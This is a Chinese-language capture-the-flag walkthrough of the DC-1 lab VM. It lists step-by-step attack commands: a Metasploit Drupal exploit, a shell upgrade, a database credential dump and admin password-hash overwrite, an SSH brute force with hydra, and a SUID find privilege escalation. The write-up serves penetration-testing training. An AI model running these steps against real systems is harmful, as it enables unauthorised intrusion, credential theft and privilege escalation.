DC-1是一个专门构建的易受攻击的实验室,目的是在渗透测试领域获得经验。
它旨在为初学者带来挑战,但它的容易程度将取决于您的技能和知识以及您的学习能力。
要成功完成此挑战,您将需要Linux技能,熟悉Linux命令行以及具有基本渗透测试工具的经验,例如可以在Kali Linux或Parrot Security OS上找到的工具。
有多种方法可以获得root,但是,我包含了一些包含初学者线索的标志。
总共有五个flag,但最终目标是在root的主目录中找到并读取标志。您甚至不需要成为 root 用户即可执行此操作,但是,您将需要 root 用户权限。
根据您的技能水平,您可以跳过查找这些标志中的大多数,直接找到root。
初学者可能会遇到他们以前从未遇到过的挑战,但是Google搜索应该是获取完成此挑战所需的信息所需的全部内容
下载链接:
http://www.five86.com/downloads/DC-1.zip
下载之后使用VMware打开.ova文件,打开结果,设置为Net模式
arp-scan -l
猜测靶机ip为:192.168.241.130,因为只有这个ip开了80端口,开启了web服务
于是访问:http://192.168.241.130/
可以看到
使用dirsearch工具:寻找有用的信息
使用Wappalyzer插件进行cms识别
https://wiki.96.mk/ //漏洞库
在漏洞库中发现drupal 的众多漏洞
search drupal
使用最新漏洞进行利用
use 4
show options
set RHOST 192.168.241.130
run
可以看到攻击成功,使用命令ls
,可以看到该目录下出现了flag1.txt
查看flag1.txt文件
提示访问配置文件
使用交互式拿shell
shell
python -c 'import pty;pty.spawn("/bin/bash")' //如果发现对方机器上有 python 的话
百度可知Drupal的配置文件是网站根目录下的/site/defaultx下的setting.php文件,打开该文件获得flag2
提示:暴力和字典攻击不是最常见的
只有获得访问权限的方法(你需要访问权限)。
你能用这些证书做什么?
因为该文件有数据库信息,
于是登录此数据库,查看数据库信息,账号和密码
mysql -udbuser -pR0ck3t //-u username -p password 登录数据库
show databases; //查看数据库
use drupaldb //进入该数据库
show tables; //查看表
select * from users; //查看用户密码
select uid,name,pass from users;
exit; //退出
上面提示爆破不是最常见的,于是想到更改密码
百度发现Drupal可以利用password-hash.sh文件来生成此种加密的
find / -name password-hash* //快速查找有关password-hash的所有文件(回到根目录)
发现/var/www/scripts/password-hash.sh ,于是到www目录下,然后运行
scripts/password-hash.sh 123456 // 得到加密结果
于是回到数据库中,更新密码
update users set pass="$S$D6RgO8aQYOFUe2TFzUiWga0VmvfHXhv2vL7l/urtrmw2CN4V7/jZ" where uid = 1;
于是访问网页登录:看到flag3
于是根据提示进入etc/passwd
,找到了flag4账户
(Linux的密码文件原来采用/etc/passwd,共有七个字段,用户密码经过加密后存储在第二个字段中,而这个文件一般是所有用户可读,root用户可写,这样不良用心的人就可以通过解密获得密码,因为这个问题,后来专门设置了一个/etc/shadow文件用于专门存储密码,且权限为root可读,没有其他权限)发现打不开。没办法我们可以试着破解一下,利用kali自带的hydra和rockyou.txt进行破解
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.241.130 //尝试爆破密码
Hydra是一款非常强大的暴力破解工具,它是由著名的黑客组织THC开发的一款开源暴力破解工具。Hydra是一个验证性质的工具,主要目的是:展示安全研究人员从远程获取一个系统认证权限
获得密码:orange
破解完成之后连接到flag4账户
ssh [email protected]
输入破解到的密码orange
发现flag4.txt,打开后提示find提权
find -name flag4.txt -exec /bin/bash -p \;
在root 目录下找到了最终的flag,最后,5个flag全部找到了。